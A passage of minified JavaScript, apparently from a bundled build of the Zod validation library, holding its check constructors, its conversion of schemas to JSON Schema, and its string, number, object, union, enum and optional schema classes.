n({type:"string",format:"time",check:"string_format",precision:null,...oe(e)})}function Dx(n,e){return new n({type:"string",format:"duration",check:"string_format",...oe(e)})}function zx(n,e){return new n({type:"number",checks:[],...oe(e)})}function Rx(n,e){return new n({type:"number",check:"number_format",abort:!1,format:"safeint",...oe(e)})}function Mx(n,e){return new n({type:"boolean",...oe(e)})}function _x(n){return new n({type:"unknown"})}function kx(n,e){return new n({type:"never",...oe(e)})}function Zf(n,e){return new mf({check:"less_than",...oe(e),value:n,inclusive:!1})}function el(n,e){return new mf({check:"less_than",...oe(e),value:n,inclusive:!0})}function Bf(n,e){return new vf({check:"greater_than",...oe(e),value:n,inclusive:!1})}function tl(n,e){return new vf({check:"greater_than",...oe(e),value:n,inclusive:!0})}function Pf(n,e){return new WS({check:"multiple_of",...oe(e),value:n})}function jf(n,e){return new JS({check:"max_length",...oe(e),maximum:n})}function es(n,e){return new $S({check:"min_length",...oe(e),minimum:n})}function Lf(n,e){return new eO({check:"length_equals",...oe(e),length:n})}function Zx(n,e){return new tO({check:"string_format",format:"regex",...oe(e),pattern:n})}function Bx(n){return new gO({check:"string_format",format:"lowercase",...oe(n)})}function Px(n){return new iO({check:"string_format",format:"uppercase",...oe(n)})}function jx(n,e){return new nO({check:"string_format",format:"includes",...oe(e),includes:n})}function Lx(n,e){return new AO({check:"string_format",format:"starts_with",...oe(e),prefix:n})}function Gx(n,e){return new CO({check:"string_format",format:"ends_with",...oe(e),suffix:n})}function xA(n){return new IO({check:"overwrite",tx:n})}function Fx(n){return xA(e=>e.normalize(n))}function Vx(){return xA(n=>n.trim())}function Yx(){return xA(n=>n.toLowerCase())}function Ux(){return xA(n=>n.toUpperCase())}function Hx(){return xA(n=>$2(n))}function Kx(n,e,t){return new n({type:"array",element:e,...oe(t)})}function Qx(n,e,t){return new n({type:"custom",check:"custom",fn:e,...oe(t)})}function Xx(n,e){const t=Wx(i=>(i.addIssue=C=>{if(typeof C=="string")i.issues.push(QC(C,i.value,t._zod.def));else{const o=C;o.fatal&&(o.continue=!1),o.code??(o.code="custom"),o.input??(o.input=i.value),o.inst??(o.inst=t),o.continue??(o.continue=!t._zod.def.abort),i.issues.push(QC(o))}},n(i.value,i)),e);return t}function Wx(n,e){const t=new tg({check:"custom",...oe(e)});return t._zod.check=n,t}function Gf(n){let e=n?.target??"draft-2020-12";return e==="draft-4"&&(e="draft-04"),e==="draft-7"&&(e="draft-07"),{processors:n.processors??{},metadataRegistry:n?.metadata??XC,target:e,unrepresentable:n?.unrepresentable??"throw",override:n?.override??(()=>{}),io:n?.io??"output",counter:0,seen:new Map,cycles:n?.cycles??"ref",reused:n?.reused??"inline",external:n?.external??void 0}}function yt(n,e,t={path:[],schemaPath:[]}){var i;const C=n._zod.def,o=e.seen.get(n);if(o)return o.count++,t.schemaPath.includes(n)&&(o.cycle=t.path),o.schema;const s={schema:{},count:1,cycle:void 0,path:t.path};e.seen.set(n,s);const a=n._zod.toJSONSchema?.();if(a)s.schema=a;else{const h={...t,schemaPath:[...t.schemaPath,n],path:t.path};if(n._zod.processJSONSchema)n._zod.processJSONSchema(e,s.schema,h);else{const m=s.schema,v=e.processors[C.type];if(!v)throw new Error(`[toJSONSchema]: Non-representable type encountered: ${C.type}`);v(n,e,m,h)}const p=n._zod.parent;p&&(s.ref||(s.ref=p),yt(p,e,h),e.seen.get(p).isParent=!0)}const l=e.metadataRegistry.get(n);return l&&Object.assign(s.schema,l),e.io==="input"&&Qt(n)&&(delete s.schema.examples,delete s.schema.default),e.io==="input"&&"_prefault"in s.schema&&((i=s.schema).default??(i.default=s.schema._prefault)),delete s.schema._prefault,e.seen.get(n).schema}function Ff(n,e){const t=n.seen.get(e);if(!t)throw new Error("Unprocessed schema. This is a bug in Zod.");const i=new Map;for(const s of n.seen.entries()){const a=n.metadataRegistry.get(s[0])?.id;if(a){const l=i.get(a);if(l&&l!==s[0])throw new Error(`Duplicate schema id "${a}" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);i.set(a,s[0])}}const C=s=>{const a=n.target==="draft-2020-12"?"$defs":"definitions";if(n.external){const p=n.external.registry.get(s[0])?.id,m=n.external.uri??(w=>w);if(p)return{ref:m(p)};const v=s[1].defId??s[1].schema.id??`schema${n.counter++}`;return s[1].defId=v,{defId:v,ref:`${m("__shared")}#/${a}/${v}`}}if(s[1]===t)return{ref:"#"};const u=`#/${a}/`,h=s[1].schema.id??`__schema${n.counter++}`;return{defId:h,ref:u+h}},o=s=>{if(s[1].schema.$ref)return;const a=s[1],{ref:l,defId:u}=C(s);a.def={...a.schema},u&&(a.defId=u);const h=a.schema;for(const p in h)delete h[p];h.$ref=l};if(n.cycles==="throw")for(const s of n.seen.entries()){const a=s[1];if(a.cycle)throw new Error(`Cycle detected: #/${a.cycle?.join("/")}/ -Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs.`)}for(const s of n.seen.entries()){const a=s[1];if(e===s[0]){o(s);continue}if(n.external){const u=n.external.registry.get(s[0])?.id;if(e!==s[0]&&u){o(s);continue}}if(n.metadataRegistry.get(s[0])?.id){o(s);continue}if(a.cycle){o(s);continue}if(a.count>1&&n.reused==="ref"){o(s);continue}}}function Vf(n,e){const t=n.seen.get(e);if(!t)throw new Error("Unprocessed schema. This is a bug in Zod.");const i=a=>{const l=n.seen.get(a);if(l.ref===null)return;const u=l.def??l.schema,h={...u},p=l.ref;if(l.ref=null,p){i(p);const v=n.seen.get(p),w=v.schema;if(w.$ref&&(n.target==="draft-07"||n.target==="draft-04"||n.target==="openapi-3.0")?(u.allOf=u.allOf??[],u.allOf.push(w)):Object.assign(u,w),Object.assign(u,h),a._zod.parent===p)for(const x in u)x==="$ref"||x==="allOf"||x in h||delete u[x];if(w.$ref&&v.def)for(const x in u)x==="$ref"||x==="allOf"||x in v.def&&JSON.stringify(u[x])===JSON.stringify(v.def[x])&&delete u[x]}const m=a._zod.parent;if(m&&m!==p){i(m);const v=n.seen.get(m);if(v?.schema.$ref&&(u.$ref=v.schema.$ref,v.def))for(const w in u)w==="$ref"||w==="allOf"||w in v.def&&JSON.stringify(u[w])===JSON.stringify(v.def[w])&&delete u[w]}n.override({zodSchema:a,jsonSchema:u,path:l.path??[]})};for(const a of[...n.seen.entries()].reverse())i(a[0]);const C={};if(n.target==="draft-2020-12"?C.$schema="https://json-schema.org/draft/2020-12/schema":n.target==="draft-07"?C.$schema="http://json-schema.org/draft-07/schema#":n.target==="draft-04"?C.$schema="http://json-schema.org/draft-04/schema#":n.target,n.external?.uri){const a=n.external.registry.get(e)?.id;if(!a)throw new Error("Schema is missing an `id` property");C.$id=n.external.uri(a)}Object.assign(C,t.def??t.schema);const o=n.metadataRegistry.get(e)?.id;o!==void 0&&C.id===o&&delete C.id;const s=n.external?.defs??{};for(const a of n.seen.entries()){const l=a[1];l.def&&l.defId&&(l.def.id===l.defId&&delete l.def.id,s[l.defId]=l.def)}n.external||Object.keys(s).length>0&&(n.target==="draft-2020-12"?C.$defs=s:C.definitions=s);try{const a=JSON.parse(JSON.stringify(C));return Object.defineProperty(a,"~standard",{value:{...e["~standard"],jsonSchema:{input:ts(e,"input",n.processors),output:ts(e,"output",n.processors)}},enumerable:!1,writable:!1}),a}catch{throw new Error("Error converting schema to JSON.")}}function Qt(n,e){const t=e??{seen:new Set};if(t.seen.has(n))return!1;t.seen.add(n);const i=n._zod.def;if(i.type==="transform")return!0;if(i.type==="array")return Qt(i.element,t);if(i.type==="set")return Qt(i.valueType,t);if(i.type==="lazy")return Qt(i.getter(),t);if(i.type==="promise"||i.type==="optional"||i.type==="nonoptional"||i.type==="nullable"||i.type==="readonly"||i.type==="default"||i.type==="prefault")return Qt(i.innerType,t);if(i.type==="intersection")return Qt(i.left,t)||Qt(i.right,t);if(i.type==="record"||i.type==="map")return Qt(i.keyType,t)||Qt(i.valueType,t);if(i.type==="pipe")return n._zod.traits.has("$ZodCodec")?!0:Qt(i.in,t)||Qt(i.out,t);if(i.type==="object"){for(const C in i.shape)if(Qt(i.shape[C],t))return!0;return!1}if(i.type==="union"){for(const C of i.options)if(Qt(C,t))return!0;return!1}if(i.type==="tuple"){for(const C of i.items)if(Qt(C,t))return!0;return!!(i.rest&&Qt(i.rest,t))}return!1}const Xx=(n,e={})=>t=>{const i=Gf({...t,processors:e});return bt(n,i),Ff(i,n),Vf(i,n)},ts=(n,e,t={})=>i=>{const{libraryOptions:C,target:o}=i??{},s=Gf({...C??{},target:o,io:e,processors:t});return bt(n,s),Ff(s,n),Vf(s,n)},Wx={guid:"uuid",url:"uri",datetime:"date-time",json_string:"json-string",regex:""},qx=(n,e,t,i)=>{const C=t;C.type="string";const{minimum:o,maximum:s,format:a,patterns:l,contentEncoding:u}=n._zod.bag;if(typeof o=="number"&&(C.minLength=o),typeof s=="number"&&(C.maxLength=s),a&&(C.format=Wx[a]??a,C.format===""&&delete C.format,a==="time"&&delete C.format),u&&(C.contentEncoding=u),l&&l.size>0){const h=[...l];h.length===1?C.pattern=h[0].source:h.length>1&&(C.allOf=[...h.map(p=>({...e.target==="draft-07"||e.target==="draft-04"||e.target==="openapi-3.0"?{type:"string"}:{},pattern:p.source}))])}},Jx=(n,e,t,i)=>{const C=t,{minimum:o,maximum:s,format:a,multipleOf:l,exclusiveMaximum:u,exclusiveMinimum:h}=n._zod.bag;typeof a=="string"&&a.includes("int")?C.type="integer":C.type="number";const p=typeof h=="number"&&h>=(o??Number.NEGATIVE_INFINITY),m=typeof u=="number"&&u<=(s??Number.POSITIVE_INFINITY),v=e.target==="draft-04"||e.target==="openapi-3.0";p?v?(C.minimum=h,C.exclusiveMinimum=!0):C.exclusiveMinimum=h:typeof o=="number"&&(C.minimum=o),m?v?(C.maximum=u,C.exclusiveMaximum=!0):C.exclusiveMaximum=u:typeof s=="number"&&(C.maximum=s),typeof l=="number"&&(C.multipleOf=l)},$x=(n,e,t,i)=>{t.type="boolean"},eN=(n,e,t,i)=>{t.not={}},tN=(n,e,t,i)=>{},gN=(n,e,t,i)=>{const C=n._zod.def,o=Af(C.entries);o.every(s=>typeof s=="number")&&(t.type="number"),o.every(s=>typeof s=="string")&&(t.type="string"),t.enum=o},iN=(n,e,t,i)=>{const C=n._zod.def,o=[];for(const s of C.values)if(s===void 0){if(e.unrepresentable==="throw")throw new Error("Literal `undefined` cannot be represented in JSON Schema")}else if(typeof s=="bigint"){if(e.unrepresentable==="throw")throw new Error("BigInt literals cannot be represented in JSON Schema");o.push(Number(s))}else o.push(s);if(o.length!==0)if(o.length===1){const s=o[0];t.type=s===null?"null":typeof s,e.target==="draft-04"||e.target==="openapi-3.0"?t.enum=[s]:t.const=s}else o.every(s=>typeof s=="number")&&(t.type="number"),o.every(s=>typeof s=="string")&&(t.type="string"),o.every(s=>typeof s=="boolean")&&(t.type="boolean"),o.every(s=>s===null)&&(t.type="null"),t.enum=o},nN=(n,e,t,i)=>{if(e.unrepresentable==="throw")throw new Error("Custom types cannot be represented in JSON Schema")},AN=(n,e,t,i)=>{if(e.unrepresentable==="throw")throw new Error("Transforms cannot be represented in JSON Schema")},CN=(n,e,t,i)=>{const C=t,o=n._zod.def,{minimum:s,maximum:a}=n._zod.bag;typeof s=="number"&&(C.minItems=s),typeof a=="number"&&(C.maxItems=a),C.type="array",C.items=bt(o.element,e,{...i,path:[...i.path,"items"]})},IN=(n,e,t,i)=>{const C=t,o=n._zod.def;C.type="object",C.properties={};const s=o.shape;for(const u in s)C.properties[u]=bt(s[u],e,{...i,path:[...i.path,"properties",u]});const a=new Set(Object.keys(s)),l=new Set([...a].filter(u=>{const h=o.shape[u]._zod;return e.io==="input"?h.optin===void 0:h.optout===void 0}));l.size>0&&(C.required=Array.from(l)),o.catchall?._zod.def.type==="never"?C.additionalProperties=!1:o.catchall?o.catchall&&(C.additionalProperties=bt(o.catchall,e,{...i,path:[...i.path,"additionalProperties"]})):e.io==="output"&&(C.additionalProperties=!1)},oN=(n,e,t,i)=>{const C=n._zod.def,o=C.inclusive===!1,s=C.options.map((a,l)=>bt(a,e,{...i,path:[...i.path,o?"oneOf":"anyOf",l]}));o?t.oneOf=s:t.anyOf=s},sN=(n,e,t,i)=>{const C=n._zod.def,o=bt(C.left,e,{...i,path:[...i.path,"allOf",0]}),s=bt(C.right,e,{...i,path:[...i.path,"allOf",1]}),a=u=>"allOf"in u&&Object.keys(u).length===1,l=[...a(o)?o.allOf:[o],...a(s)?s.allOf:[s]];t.allOf=l},rN=(n,e,t,i)=>{const C=t,o=n._zod.def;C.type="object";const s=o.keyType,l=s._zod.bag?.patterns;if(o.mode==="loose"&&l&&l.size>0){const h=bt(o.valueType,e,{...i,path:[...i.path,"patternProperties","*"]});C.patternProperties={};for(const p of l)C.patternProperties[p.source]=h}else(e.target==="draft-07"||e.target==="draft-2020-12")&&(C.propertyNames=bt(o.keyType,e,{...i,path:[...i.path,"propertyNames"]})),C.additionalProperties=bt(o.valueType,e,{...i,path:[...i.path,"additionalProperties"]});const u=s._zod.values;if(u){const h=[...u].filter(p=>typeof p=="string"||typeof p=="number");h.length>0&&(C.required=h)}},aN=(n,e,t,i)=>{const C=n._zod.def,o=bt(C.innerType,e,i),s=e.seen.get(n);e.target==="openapi-3.0"?(s.ref=C.innerType,t.nullable=!0):t.anyOf=[o,{type:"null"}]},lN=(n,e,t,i)=>{const C=n._zod.def;bt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType},cN=(n,e,t,i)=>{const C=n._zod.def;bt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType,t.default=JSON.parse(JSON.stringify(C.defaultValue))},uN=(n,e,t,i)=>{const C=n._zod.def;bt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType,e.io==="input"&&(t._prefault=JSON.parse(JSON.stringify(C.defaultValue)))},dN=(n,e,t,i)=>{const C=n._zod.def;bt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType;let s;try{s=C.catchValue(void 0)}catch{throw new Error("Dynamic catch values are not supported in JSON Schema")}t.default=s},hN=(n,e,t,i)=>{const C=n._zod.def,o=C.in._zod.traits.has("$ZodTransform"),s=e.io==="input"?o?C.out:C.in:C.out;bt(s,e,i);const a=e.seen.get(n);a.ref=s},fN=(n,e,t,i)=>{const C=n._zod.def;bt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType,t.readOnly=!0},Yf=(n,e,t,i)=>{const C=n._zod.def;bt(C.innerType,e,i);const o=e.seen.get(n);o.ref=C.innerType},pN=G("ZodISODateTime",(n,e)=>{mO.init(n,e),It.init(n,e)});function mN(n){return Tx(pN,n)}const vN=G("ZodISODate",(n,e)=>{vO.init(n,e),It.init(n,e)});function yN(n){return Sx(vN,n)}const bN=G("ZodISOTime",(n,e)=>{yO.init(n,e),It.init(n,e)});function wN(n){return Ox(bN,n)}const EN=G("ZodISODuration",(n,e)=>{bO.init(n,e),It.init(n,e)});function TN(n){return xx(EN,n)}const Eg=G("ZodError",(n,e)=>{af.init(n,e),n.name="ZodError",Object.defineProperties(n,{format:{value:t=>a2(n,t)},flatten:{value:t=>r2(n,t)},addIssue:{value:t=>{n.issues.push(t),n.message=JSON.stringify(n.issues,Ua,2)}},addIssues:{value:t=>{n.issues.push(...t),n.message=JSON.stringify(n.issues,Ua,2)}},isEmpty:{get(){return n.issues.length===0}}})},{Parent:Error}),SN=Wa(Eg),ON=qa(Eg),xN=Xo(Eg),NN=Wo(Eg),DN=u2(Eg),zN=d2(Eg),RN=h2(Eg),MN=f2(Eg),_N=p2(Eg),kN=m2(Eg),ZN=v2(Eg),BN=y2(Eg),Uf=new WeakMap;function WC(n,e,t){const i=Object.getPrototypeOf(n);let C=Uf.get(i);if(C||(C=new Set,Uf.set(i,C)),!C.has(e)){C.add(e);for(const o in t){const s=t[o];Object.defineProperty(i,o,{configurable:!0,enumerable:!1,get(){const a=s.bind(this);return Object.defineProperty(this,o,{configurable:!0,writable:!0,enumerable:!0,value:a}),a},set(a){Object.defineProperty(this,o,{configurable:!0,writable:!0,enumerable:!0,value:a})}})}}}const Ct=G("ZodType",(n,e)=>(At.init(n,e),Object.assign(n["~standard"],{jsonSchema:{input:ts(n,"input"),output:ts(n,"output")}}),n.toJSONSchema=Xx(n,{}),n.def=e,n.type=e.type,Object.defineProperty(n,"_def",{value:e}),n.parse=(t,i)=>SN(n,t,i,{callee:n.parse}),n.safeParse=(t,i)=>xN(n,t,i),n.parseAsync=async(t,i)=>ON(n,t,i,{callee:n.parseAsync}),n.safeParseAsync=async(t,i)=>NN(n,t,i),n.spa=n.safeParseAsync,n.encode=(t,i)=>DN(n,t,i),n.decode=(t,i)=>zN(n,t,i),n.encodeAsync=async(t,i)=>RN(n,t,i),n.decodeAsync=async(t,i)=>MN(n,t,i),n.safeEncode=(t,i)=>_N(n,t,i),n.safeDecode=(t,i)=>kN(n,t,i),n.safeEncodeAsync=async(t,i)=>ZN(n,t,i),n.safeDecodeAsync=async(t,i)=>BN(n,t,i),WC(n,"ZodType",{check(...t){const i=this.def;return this.clone(Ki(i,{checks:[...i.checks??[],...t.map(C=>typeof C=="function"?{_zod:{check:C,def:{check:"custom"},onattach:[]}}:C)]}),{parent:!0})},with(...t){return this.check(...t)},clone(t,i){return Qi(this,t,i)},brand(){return this},register(t,i){return t.add(this,i),this},refine(t,i){return this.check(zD(t,i))},superRefine(t,i){return this.check(RD(t,i))},overwrite(t){return this.check(xA(t))},optional(){return $f(this)},exactOptional(){return pD(this)},nullable(){return ep(this)},nullish(){return $f(ep(this))},nonoptional(t){return ED(this,t)},array(){return NA(this)},or(t){return rD([this,t])},and(t){return lD(this,t)},transform(t){return gp(this,hD(t))},default(t){return yD(this,t)},prefault(t){return wD(this,t)},catch(t){return SD(this,t)},pipe(t){return gp(this,t)},readonly(){return ND(this)},describe(t){const i=this.clone();return XC.add(i,{description:t}),i},meta(...t){if(t.length===0)return XC.get(this);const i=this.clone();return XC.add(i,t[0]),i},isOptional(){return this.safeParse(void 0).success},isNullable(){return this.safeParse(null).success},apply(t){return t(this)}}),Object.defineProperty(n,"description",{get(){return XC.get(n)?.description},configurable:!0}),n)),Hf=G("_ZodString",(n,e)=>{Ja.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(i,C,o)=>qx(n,i,C);const t=n._zod.bag;n.format=t.format??null,n.minLength=t.minimum??null,n.maxLength=t.maximum??null,WC(n,"_ZodString",{regex(...i){return this.check(_x(...i))},includes(...i){return this.check(Bx(...i))},startsWith(...i){return this.check(Px(...i))},endsWith(...i){return this.check(jx(...i))},min(...i){return this.check(es(...i))},max(...i){return this.check(jf(...i))},length(...i){return this.check(Lf(...i))},nonempty(...i){return this.check(es(1,...i))},lowercase(i){return this.check(kx(i))},uppercase(i){return this.check(Zx(i))},trim(){return this.check(Gx())},normalize(...i){return this.check(Lx(...i))},toLowerCase(){return this.check(Fx())},toUpperCase(){return this.check(Vx())},slugify(){return this.check(Yx())}})}),PN=G("ZodString",(n,e)=>{Ja.init(n,e),Hf.init(n,e),n.email=t=>n.check(nx(jN,t)),n.url=t=>n.check(sx(LN,t)),n.jwt=t=>n.check(Ex(tD,t)),n.emoji=t=>n.check(rx(GN,t)),n.guid=t=>n.check(kf(Kf,t)),n.uuid=t=>n.check(Ax(gs,t)),n.uuidv4=t=>n.check(Cx(gs,t)),n.uuidv6=t=>n.check(Ix(gs,t)),n.uuidv7=t=>n.check(ox(gs,t)),n.nanoid=t=>n.check(ax(FN,t)),n.guid=t=>n.check(kf(Kf,t)),n.cuid=t=>n.check(lx(VN,t)),n.cuid2=t=>n.check(cx(YN,t)),n.ulid=t=>n.check(ux(UN,t)),n.base64=t=>n.check(yx(JN,t)),n.base64url=t=>n.check(bx($N,t)),n.xid=t=>n.check(dx(HN,t)),n.ksuid=t=>n.check(hx(KN,t)),n.ipv4=t=>n.check(fx(QN,t)),n.ipv6=t=>n.check(px(XN,t)),n.cidrv4=t=>n.check(mx(WN,t)),n.cidrv6=t=>n.check(vx(qN,t)),n.e164=t=>n.check(wx(eD,t)),n.datetime=t=>n.check(mN(t)),n.date=t=>n.check(yN(t)),n.time=t=>n.check(wN(t)),n.duration=t=>n.check(TN(t))});function ut(n){return ix(PN,n)}const It=G("ZodStringFormat",(n,e)=>{gt.init(n,e),Hf.init(n,e)}),jN=G("ZodEmail",(n,e)=>{rO.init(n,e),It.init(n,e)}),Kf=G("ZodGUID",(n,e)=>{oO.init(n,e),It.init(n,e)}),gs=G("ZodUUID",(n,e)=>{sO.init(n,e),It.init(n,e)}),LN=G("ZodURL",(n,e)=>{aO.init(n,e),It.init(n,e)}),GN=G("ZodEmoji",(n,e)=>{lO.init(n,e),It.init(n,e)}),FN=G("ZodNanoID",(n,e)=>{cO.init(n,e),It.init(n,e)}),VN=G("ZodCUID",(n,e)=>{uO.init(n,e),It.init(n,e)}),YN=G("ZodCUID2",(n,e)=>{dO.init(n,e),It.init(n,e)}),UN=G("ZodULID",(n,e)=>{hO.init(n,e),It.init(n,e)}),HN=G("ZodXID",(n,e)=>{fO.init(n,e),It.init(n,e)}),KN=G("ZodKSUID",(n,e)=>{pO.init(n,e),It.init(n,e)}),QN=G("ZodIPv4",(n,e)=>{wO.init(n,e),It.init(n,e)}),XN=G("ZodIPv6",(n,e)=>{EO.init(n,e),It.init(n,e)}),WN=G("ZodCIDRv4",(n,e)=>{TO.init(n,e),It.init(n,e)}),qN=G("ZodCIDRv6",(n,e)=>{SO.init(n,e),It.init(n,e)}),JN=G("ZodBase64",(n,e)=>{OO.init(n,e),It.init(n,e)}),$N=G("ZodBase64URL",(n,e)=>{NO.init(n,e),It.init(n,e)}),eD=G("ZodE164",(n,e)=>{DO.init(n,e),It.init(n,e)}),tD=G("ZodJWT",(n,e)=>{RO.init(n,e),It.init(n,e)}),Qf=G("ZodNumber",(n,e)=>{bf.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(i,C,o)=>Jx(n,i,C),WC(n,"ZodNumber",{gt(i,C){return this.check(Bf(i,C))},gte(i,C){return this.check(tl(i,C))},min(i,C){return this.check(tl(i,C))},lt(i,C){return this.check(Zf(i,C))},lte(i,C){return this.check(el(i,C))},max(i,C){return this.check(el(i,C))},int(i){return this.check(Xf(i))},safe(i){return this.check(Xf(i))},positive(i){return this.check(Bf(0,i))},nonnegative(i){return this.check(tl(0,i))},negative(i){return this.check(Zf(0,i))},nonpositive(i){return this.check(el(0,i))},multipleOf(i,C){return this.check(Pf(i,C))},step(i,C){return this.check(Pf(i,C))},finite(){return this}});const t=n._zod.bag;n.minValue=Math.max(t.minimum??Number.NEGATIVE_INFINITY,t.exclusiveMinimum??Number.NEGATIVE_INFINITY)??null,n.maxValue=Math.min(t.maximum??Number.POSITIVE_INFINITY,t.exclusiveMaximum??Number.POSITIVE_INFINITY)??null,n.isInt=(t.format??"").includes("int")||Number.isSafeInteger(t.multipleOf??.5),n.isFinite=!0,n.format=t.format??null});function Tg(n){return Nx(Qf,n)}const gD=G("ZodNumberFormat",(n,e)=>{MO.init(n,e),Qf.init(n,e)});function Xf(n){return Dx(gD,n)}const iD=G("ZodBoolean",(n,e)=>{_O.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>$x(n,t,i)});function gl(n){return zx(iD,n)}const nD=G("ZodUnknown",(n,e)=>{kO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>tN()});function Pn(){return Rx(nD)}const AD=G("ZodNever",(n,e)=>{ZO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>eN(n,t,i)});function CD(n){return Mx(AD,n)}const ID=G("ZodArray",(n,e)=>{BO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>CN(n,t,i,C),n.element=e.element,WC(n,"ZodArray",{min(t,i){return this.check(es(t,i))},nonempty(t){return this.check(es(1,t))},max(t,i){return this.check(jf(t,i))},length(t,i){return this.check(Lf(t,i))},unwrap(){return this.element}})});function NA(n,e){return Ux(ID,n,e)}const oD=G("ZodObject",(n,e)=>{jO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>IN(n,t,i,C),Ue(n,"shape",()=>e.shape),WC(n,"ZodObject",{keyof(){return is(Object.keys(this._zod.def.shape))},catchall(t){return this.clone({...this._zod.def,catchall:t})},passthrough(){return this.clone({...this._zod.def,catchall:Pn()})},loose(){return this.clone({...this._zod.def,catchall:Pn()})},strict(){return this.clone({...this._zod.def,catchall:CD()})},strip(){return this.clone({...this._zod.def,catchall:void 0})},extend(t){return n2(this,t)},safeExtend(t){return A2(this,t)},merge(t){return C2(this,t)},pick(t){return g2(this,t)},omit(t){return i2(this,t)},partial(...t){return I2(Jf,this,t[0])},required(...t){return o2(tp,this,t[0])}})});function pi(n,e){const t={type:"object",shape:n??{},...Ie(e)};return new oD(t)}const sD=G("ZodUnion",(n,e)=>{LO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>oN(n,t,i,C),n.options=e.options});function rD(n,e){return new sD({type:"union",options:n,...Ie(e)})}const aD=G("ZodIntersection",(n,e)=>{GO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>sN(n,t,i,C)});function lD(n,e){return new aD({type:"intersection",left:n,right:e})}const Wf=G("ZodRecord",(n,e)=>{FO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>rN(n,t,i,C),n.keyType=e.keyType,n.valueType=e.valueType});function qf(n,e,t){return!e||!e._zod?new Wf({type:"record",keyType:ut(),valueType:n,...Ie(e)}):new Wf({type:"record",keyType:n,valueType:e,...Ie(t)})}const il=G("ZodEnum",(n,e)=>{VO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(i,C,o)=>gN(n,i,C),n.enum=e.entries,n.options=Object.values(e.entries);const t=new Set(Object.keys(e.entries));n.extract=(i,C)=>{const o={};for(const s of i)if(t.has(s))o[s]=e.entries[s];else throw new Error(`Key ${s} not found in enum`);return new il({...e,checks:[],...Ie(C),entries:o})},n.exclude=(i,C)=>{const o={...e.entries};for(const s of i)if(t.has(s))delete o[s];else throw new Error(`Key ${s} not found in enum`);return new il({...e,checks:[],...Ie(C),entries:o})}});function is(n,e){const t=Array.isArray(n)?Object.fromEntries(n.map(i=>[i,i])):n;return new il({type:"enum",entries:t,...Ie(e)})}const cD=G("ZodLiteral",(n,e)=>{YO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>iN(n,t,i),n.values=new Set(e.values),Object.defineProperty(n,"value",{get(){if(e.values.length>1)throw new Error("This schema contains multiple valid literal values. Use `.values` instead.");return e.values[0]}})});function uD(n,e){return new cD({type:"literal",values:Array.isArray(n)?n:[n],...Ie(e)})}const dD=G("ZodTransform",(n,e)=>{UO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>AN(n,t),n._zod.parse=(t,i)=>{if(i.direction==="backward")throw new nf(n.constructor.name);t.addIssue=o=>{if(typeof o=="string")t.issues.push(QC(o,t.value,e));else{const s=o;s.fatal&&(s.continue=!1),s.code??(s.code="custom"),s.input??(s.input=t.value),s.inst??(s.inst=n),t.issues.push(QC(s))}};const C=e.transform(t.value,t);return C instanceof Promise?C.then(o=>(t.value=o,t.fallback=!0,t)):(t.value=C,t.fallback=!0,t)}});function hD(n){return new dD({type:"transform",transform:n})}const Jf=G("ZodOptional",(n,e)=>{Nf.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>Yf(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function $f(n){return new Jf({type:"optional",innerType:n})}const fD=G("ZodExactOptional",(n,e)=>{HO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>Yf(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function pD(n){return new fD({type:"optional",innerType:n})}const mD=G("ZodNullable",(n,e)=>{KO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>aN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function ep(n){return new mD({type:"nullable",innerType:n})}const vD=G("ZodDefault",(n,e)=>{QO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>cN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType,n.removeDefault=n.unwrap});function yD(n,e){return new vD({type:"default",innerType:n,get defaultValue(){return typeof e=="function"?e():sf(e)}})}const bD=G("ZodPrefault",(n,e)=>{XO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>uN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function wD(n,e){return new bD({type:"prefault",innerType:n,get defaultValue(){return typeof e=="function"?e():sf(e)}})}const tp=G("ZodNonOptional",(n,e)=>{WO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>lN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function ED(n,e){return new tp({type:"nonoptional",innerType:n,...Ie(e)})}const TD=G("ZodCatch",(n,e)=>{qO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>dN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType,n.removeCatch=n.unwrap});function SD(n,e){return new TD({type:"catch",innerType:n,catchValue:typeof e=="function"?e:()=>e})}const OD=G("ZodPipe",(n,e)=>{JO.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>hN(n,t,i,C),n.in=e.in,n.out=e.out});function gp(n,e){return new OD({type:"pipe",in:n,out:e})}const xD=G("ZodReadonly",(n,e)=>{$O.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>fN(n,t,i,C),n.unwrap=()=>n._zod.def.innerType});function ND(n){return new xD({type:"readonly",innerType:n})}const 